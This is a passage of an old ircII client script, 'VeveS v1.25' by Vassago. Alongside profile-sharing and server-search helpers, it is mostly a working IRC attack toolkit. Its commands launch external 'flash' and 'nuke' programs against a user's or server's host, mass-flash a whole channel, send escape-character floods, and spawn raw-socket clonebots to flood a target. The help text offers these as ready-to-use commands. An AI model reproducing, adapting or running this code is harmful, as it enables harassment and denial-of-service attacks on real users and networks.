([$LOOKVIEW]==[ON]) { ^on ^exec "lookdesc *" # ^on ^exec_error "lookdesc *" # ^exec -name lookdesc notice $0 cat $ircdesc wait %lookdesc ^on exec - "lookdesc *" ^on exec_error - "lookdesc *" echo $vs $0 has glimpsed at you via LOOK. } {/quote NOTICE $0 :My LOOKing function is currently disabled.} } ^assign LASTDESC $DESCHOST ^timer -delete 892 ^timer -refnum 892 60 ^assign -LASTDESC ^assign -DESCHOST } {/quote NOTICE $0 :VeveS is busy right now, try again later.} } alias LOOKHELP { echo $vs +---+ VeveS LOOK Help +----------------------------------------+ echo $vs For someone to get a description of you, just edit a echo $vs file in your home directory called ".ircdesc" and enter echo $vs the description you'd like people to see. echo $vs Example: echo $vs Joe Preppy is a white male wearing a NoPhear T-Shirt and echo $vs pre-torn jeans. echo $vs Hair - Color/Brown : Length/Short : Style/Curly echo $vs Eyes - Green echo $vs Mailing Address: vanderhoff@anon.penet.fi echo $vs This is a brief example but I'm sure you get the idea as to echo $vs the kind of stuff you can put there. echo $vs You may also create a .ircdesc file online by typing /LOOKMAKE. echo $vs To get a description of someone else, type /look JoePreppy, echo $vs and you'll recieve a description via notice if they are echo $vs running VeveS. Try to keep your description to less than 7 echo $vs lines to avoid activating someone's flood protection. echo $vs +---------------------------------------------------------------+ } alias LOOKMAKE { echo $vs This will delete any previous .ircdesc file you have in your echo $vs home directory, if there is one. ^assign yes_prompt $"Are you sure you want to continue (y/n)? " if (([$yes_prompt]==[y])||([$yes_prompt]==[yes])) { ^on ^exec_error "ircdesc *" # ^exec -name ircdesc rm $ircdesc wait %ircdesc ^on exec_error - "ircdesc *" echo $vs You have 7 lines on which to enter a description. sleep 1 EVAL ^exec echo "### VeveS v1.25 by Vassago - LOOK Description for $N ###" >> $ircdesc @ descr_count = 0 while (descr_count<7) { @ descr_count = descr_count + 1 ^assign -enter_descr ^assign enter_descr $"L$descr_count\: " if ([$enter_descr]!=[]) { ^assign descr_text $strip(;![](){}"'` $enter_descr) ^EVAL exec echo "$descr_text " >> $ircdesc } } ^exec chmod 700 $ircdesc echo $vs Your new .ircdesc file has been created. ^assign -enter_descr ^assign -descr_count ^assign -descr_text } {/echo $vs Aborting LOOKMAKE, .ircdesc file is unchanged.} ^assign -yes_prompt } ### FLASH (by Vassago) alias flash { if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[<UNKNOWN>]) { ^exec $flash_pgm $strip(;#~ $3)@$4 echo $ex Flashed $0 \($strip(;#~ $3)@$4\) } {/echo $ex I can't find $0 on IRC.} } } {/echo $ex Usage: /FLASH <nick>.} } alias listmassflash { ^exec -name flash $flash_pgm $1 wait %flash echo $ex I have flashed $0 \($1\) if ([$2]) {^listmassflash $2-} } alias massflash { ^on ^who "*" { if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}} } ^who $C wait ^on who - "*" ^listmassflash $FLASHLOSERS ^assign -FLASHLOSERS } ### NUKE and SERVER NUKE (by Vassago) alias nuke { if ([$0]) { ^on ^311 "*" {^assign ndomain $3} ^on ^312 "*" {^assign nserver $1} ^on ^319 "*" # ^whois $0 wait -cmd # wait -cmd _nuke $0 } {/echo $vs Usage: /NUKE <nick>.} } alias _nuke { ^exec $nuke_pgm $ndomain $nserver & ^exec $nuke_pgm $nserver $ndomain & /echo $vs Nuking $0 at $ndomain on server $nserver\. ^on 311 - "*" ^on 312 - "*" ^on 319 - "*" ^assign -ndomain ^assign -nserver } alias snuke { if ([$1]) { ^exec $nuke_pgm $0 $1 & ^exec $nuke_pgm $1 $0 & } {/echo $vs Usage: /SNUKE <server to nuke> <uplink server>.} } ### SPLIT SERVER FINDER (by TG, Mods by Vassago) assign -serverlist1 assign -serverlist2 assign -serverlist3 assign -servers @ servercount = 0 alias getservers { echo $vs Generating MASTER server list. \(This may take 5 or more minutes\). ^exec rm $HOME/server.list ^assign serverlist1 N ^assign serverlist2 N @ servercount = 0 ^assign -servers ^on ^raw_irc "% 364 *" { ^EVAL ^exec echo "loadserversub $3" >> $HOME/server.list @ servercount = servercount + 1 ^assign servers[${servercount-1}] $3 No if ([$servercount] < [100]) {^assign serverlist1 $serverlist1 $3} {^assign serverlist2 $serverlist2 $3} } ^on ^raw_irc "% 365 *" {/echo $vs Server list generated. $servercount servers found.} //LINKS wait ^on raw_irc - "% 364 *" ^on raw_irc - "% 365 *" } alias loadserversub { @ servercount = servercount + 1 if ([$servercount] < [100]) {^assign serverlist1 $serverlist1 $0} {^assign serverlist2 $serverlist2 $0} ^assign servers[${servercount-1}] $0 No } alias loadservers { echo $vs Loading server list. @ servercount = 0 ^assign serverlist1 N ^assign serverlist2 N ^assign -servers //load $HOME/server.list echo $vs $servercount servers loaded. } alias servers {/echo $vs There are $servercount servers in memory.} alias setserver { if ([$match($0 $serverlist1)] != [0]) {^assign servers[${match($0 $serverlist1) -2}] $0 $1} { if ([$match($0 $serverlist2)] != [0]) {^assign servers[${match($0 $serverlist2) +97}] $0 $1} { @ servercount = servercount + 1 ^assign servers[${servercount-1}] $0 New if ([$servercount] < [100]) {^assign serverlist1 $serverlist1 $0} {^assign serverlist2 $serverlist2 $0} ^eval ^exec echo "loadserversub $0" >> $HOME/server.list } } ^assign -ssx } alias findsplit { if ([$servercount] < [1]) {/echo $vs You need to either create a new server list, or load an old one.} { /echo $vs Generating list of split servers, one moment please... @ splitsfound = 0 ^on ^raw_irc "% 364 *" {/setserver $3 Yes} ^on ^raw_irc "% 365 *" { ^on raw_irc - "% 364 *" ^on raw_irc - "% 365 *" } @ sx = 0 while ([$sx] < [$servercount]) { @ sx = sx + 1 /setserver $word(0 $servers[${sx -1}]) No } wait //links wait @ sx = 0 @ splitcount = 0 while ([$sx] < [$servercount]) { @ sx = sx + 1 ^assign workwith $word(1 $servers[${sx-1}]) if ([$workwith]==[NO]) { /echo $vs Split: $word(0 $servers[${sx-1}]) @ splitcount = splitcount + 1 } { if ([$workwith]==[NEW]) {/echo $vs New: $word(0 $servers[${sx-1}])} } } wait if ([$splitcount] > 0) {/echo $vs $splitcount split servers found.} {/echo $vs No split servers found.} ^assign -sx } } alias FINDHELP { echo $vs +---+ VeveS Split Server Finder Help +----------------------+ echo $vs Use /GETSERVERS to get a list of currently connected echo $vs servers, this will create a file called server.list echo $vs in your present working directory. I recommend you echo $vs do this at a time when you know that the network is echo $vs fairly stable otherwise, the script misses splits that echo $vs are around, because it doesn't know the server\(s\) exist. echo $vs To avoid spending time generating new server lists, echo $vs user /LOADSERVERS to load your previously made server echo $vs list file. The script will automatically add new echo $vs servers it finds that are not in its list whenever you echo $vs user /FINDSPLIT. echo $vs Use /FINDSPLIT to list all splits \(based on your echo $vs server list\), add new servers to your list, etc. echo $vs /SERVERS will tell you the # of split servers in memory. echo $vs Note: This is kind of a slow way to find splits, but if echo $vs you can't use link looker, it works nicely. It's a good echo $vs idea to run /GETSERVERS once, then keep the file it echo $vs puts in your HOME directory, since it takes awhile to echo $vs generate the master server list \(a minumum of 5 minutes\). echo $vs +-----------------------------------------------------------+ } ### UNFLASH alias unflash { ^set status_clock c ^set status_clock \;\24r ^set status_clock m ^set status_clock ?5l ^set status_clock -+VeveS+- ^timer 10 ^set status_clock %T echo $vs Flash Fixer complete. Refreshing screen with ^L... sleep 2 type ^L } ### VeveS Flood I assign VFS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS assign VSU ^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^ alias vflood { if ([$0]) { echo $vs Beginning VeveS Flood on $0\... EVAL quote PRIVMSG $0 :$VFS EVAL quote PRIVMSG $0 :$VSU sleep 2 EVAL quote PRIVMSG $0 :$VSU EVAL quote PRIVMSG $0 :$VFS sleep 2 EVAL quote NOTICE $0 :$VSU EVAL quote NOTICE $0 :$VFS echo $vs VeveS Flood on $0 complete. } {/echo $vs Usage: /VFLOOD <nick/channel>} } ### VeveS Flood II (Double Clone Flood) alias vcflood { if (rmatch($0 *.*)) { if ([$1]) { echo $vs Veves Clone Flood activating. Please be patient while echo $vs the DCC RAW clonebots are being generated for $0\... ^set display OFF EVAL ^assign VCSOCKET $connect($0 6667) EVAL //^dcc raw $VCSOCKET $0 NICK V$randcrap(7) EVAL //^dcc raw $VCSOCKET $0 USER $randcrap(8) # # :$randcrap($rand(15)) $randcrap($rand(15)) sleep 1 EVAL ^assign VCSOCKET2 $connect($0 6667) EVAL //^dcc raw $VCSOCKET2 $0 NICK V$randcrap(7) EVAL //^dcc raw $VCSOCKET2 $0 USER \;//quit\; # # :$randcrap($rand(15)) $randcrap($rand(15)) ^set display ON echo $vs Clonebots created. Beginning flood... ^set display OFF sleep 3 echo $vs Flooding with Clonebot #1... EVAL //^dcc raw $VCSOCKET $0 NOTICE $0 :$VFS EVAL //^dcc raw $VCSOCKET $0 PRIVMSG $0 :$VFS\ EVAL //^dcc raw $VCSOCKET $0 PRIVMSG $0 :$VSU sleep 10 echo $vs Flooding with Clonebot #2... EVAL //^dcc raw $VCSOCKET2 $0 PRIVMSG $0 :$VSU\ EVAL //^dcc raw $VCSOCKET2 $0 PRIVMSG $0 :$VFS EVAL //^dcc raw $VCSOCKET2 $0 NOTICE $0 :$VSU sleep 5 ^set display ON echo $vs Flooding complete. Clones will disconnect shortly. EVAL ^timer 90 //^dcc close raw $VCSOCKET EVAL ^timer 120 //^dcc close raw $VCSOCKET2 } {/echo $vs Usage: /VCFLOOD <server for clonebots> <nick to flood>} } {/echo $vs Usage: /VCFLOOD <server for clonebots> <nick to flood>} } # RANDCRAP assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a alias randcrap { @ RCOUNTER = 1 while (RCOUNTER < [$0]) { @ RCOUNTER = RCOUNTER + 1 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP} } EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP} ^assign FUNCTION_RETURN $RCRAP ^assign -RCRAP } ### FINDPORTS alias findports { ^on ^211 - "*" ^assign -server_inquired ^assign -found_ports ^assign -server_inquired ^on #^364 -567 "*" assign server_inquired $$1 ^set display off //links $0 wait ^on #^364 -567 - "*" /echo $ex Tracking ports for server $server_inquired, please wait... /portf $server_inquired } alias portf { ^assign -connecting_port ^assign -port_output ^assign -serverp ^assign -serverp_size ^assign serverp $0 ^assign serverp_size $@serverp ^on #^211 -567 "*" if (match($serverp $left($serverp_size $1))) { ^assign connecting_port $1 @port_output = port_output ## [$lastbit($connecting_port) ] } //stats L $serverp wait wait ^timer 5 /fportclean @ function_return = [$port_output] } alias fportclean { ^on #^211 -567 - "*" echo $ex The port(s) for server $server_inquired are: echo $ex $port_output echo $ex Port tracking complete. ^set display ON } alias lastbit { ^assign -lastbits ^assign -lastbits2 @ lastbits = rindex(. $0) @ lastbits = lastbits + 1 @ lastbits2 = mid($lastbits $lastbits $0) @ function_return = strip(] $lastbits2) } ### FIND IRC USER (by Vassago) ^assign -STOPPED alias FINDCANCEL { ^assign STOPPED ON ^timer -delete 223 ^assign TIMEGOING ON echo $vs Further search has been canceled, one moment... ^on ^211 "*" # ^on 364 - "*" ^assign -SERVERLIST ^assign -CURRENTSERVER } alias DONEXT { @ scount = scount + 1 NEXTSERVER } alias CHECKSEARCH { if ([$timegoing]!=[ON]) { ^assign timegoing ON ^timer -delete 223 ^timer -refnum 223 33 checkserver } } alias FIND { if ([$1]) { echo $vs Looking for mask $0 on server $1\... ^assign hostmask $0 ^on ^211 "*" { if (rmatch($1 $hostmask)) {/echo $vs Match! Found $left($index([ $1) $1) on $0.} } //stats l $1- } {/echo $vs Usage: /FIND <mask> <server>.} } alias FINDGLOBAL { if ([$0]) { echo $vs Looking for host mask $0 throughout IRC, please wait... ^assign hostmask $0 ^assign -SERVERLIST ^on ^364 "*" { if (rmatch($1 ?.*)) {/echo $vs Invalid server name $1. Masks will not be searched.} {^assign SERVERLIST $1 ${SERVERLIST}} } @ scount = 0 /echo $vs Gathering LINKS information... //links wait -cmd NEXTSERVER } {/echo $vs Usage: /FINDGLOBAL <mask>.} } alias NEXTSERVER { if ([$STOPPED]!=[ON]) { ^assign -NEXTWAIT @ WAITING = 0 ^assign currentserver $word($scount $SERVERLIST) //stats l $currentserver checksearch echo $vs Searching for $hostmask\ on server $currentserver\... ^on ^211 "*" { if (([$NEXTWAIT]!=[ON])&&([$0]==[$currentserver])) { ^assign NEXTWAIT ON @ scount = scount + 1 ^timer 10 /NEXTSERVER } if (rmatch($1 $hostmask)) {/echo $vs Match! Found $left($index([ $1) $1) on $0.} } } } alias CHECKSERVER { ^assign -timegoing if ([$NEXTWAIT]!=[ON]) { echo $vs No response received from $currentserver\, continuing... DONEXT } } ### HELP & CREDITS alias vhelp { echo $vs +---+ VeveS Version 1.25 Commands Listing +----------------------+ echo $vs /FLASH <nick1, nick2, nick3 etc...> - Flashes <nick\(s\)>. echo $vs /MASSFLASH - flashes everyone on your current channel. echo $vs Note: You must have flash.c compiled and in your current echo $vs directory to use. echo $vs /UNFLASH - Attempts to fix your screen if you are flashed. echo $vs /FAKEINVITE <nick> <channel> - Fakeinvites <nick> to <channel> echo $vs /NUKE <nickname> - You must have nuke.c compiled and echo $vs in your current directory to use. echo $vs /SNUKE <server to nuke> <uplink server> - (See above.) echo $vs /FINDPORTS <server> - Tracks available ports on <server>. echo $vs /LOOK <nick/channel> - To glimpse at someone/everyone. echo $vs This only works if they are running VeveS and have echo $vs the .ircdesc file in their HOME directory. echo $vs /LOOKVIEW - Toggles CTCP .ircdesc LOOKing ON/OFF. echo $vs /LOOKHELP - For extended help on LOOK. echo $vs /LOOKMAKE - Lets you make/edit your .ircdesc file echo $vs while you are online! Type /LOOKMAKE at the prompt. echo $vs /VFLOOD <nick/channel> - Sends an annoying flood. echo $vs /VCFLOOD <clonebot server> <nick to flood> - does a echo $vs 2 clonebot flood with 2 different types of floods. pause2 echo $vs /VEVE HELP - For help on VeVeBots - VeveBots are a echo $vs type of sentry for use in maintaining ops, etc. echo $vs /FINDHELP - Gives more help on the following 5 commands: echo $vs /FINDSPLIT - Generates a list of split servers. echo $vs /GETSERVERS - Generates the MASTER Serverlist - Please note echo $vs that this command takes a minimum of 5 minutes to finish! echo $vs /LOADSERVERS - Loads a serverlist from file into memory. echo $vs /SERVERS - Tells how many servers are in memory. echo $vs /FIND <mask> <server> - Attempts to find a user on a server. echo $vs /FINDGLOBAL <mask> - Attempts to find a user over ALL of IRC. echo $vs \(Remember to enclose the <mask> in asteriks. \(ex: *mask*\) echo $vs /FINDNEXT - continues searching the next server, if it does echo $vs not look like the current server is going to answer. After 30 echo $vs seconds, if no answer, the script will continue on its own. echo $vs \(This command only applies to global searches\). echo $vs /FINDCANCEL - Stops a global search. echo $vs +----------------------------------------------------------------+ } EVAL if (versionmesg) {^assign versionmesg ${versionmesg}+$veves_version} EVAL if (versionmsg) {^assign versionmsg ${versionmsg}+$veves_version} EVAL if (phoenix.ver) {^assign versionmsg ${versionmsg}+$veves_version} EVAL if (running) {^assign running ${running}+$veves_version} EVAL if (version) {^assign version ${version}+$veves_version} EVAL if (lvn) {^assign lvn ${lvn}+$veves_version} EVAL your_host EVAL echo $vs Vassago's VeveS Script is now loaded. EVAL echo $vs Type /VHELP for VeveS command list.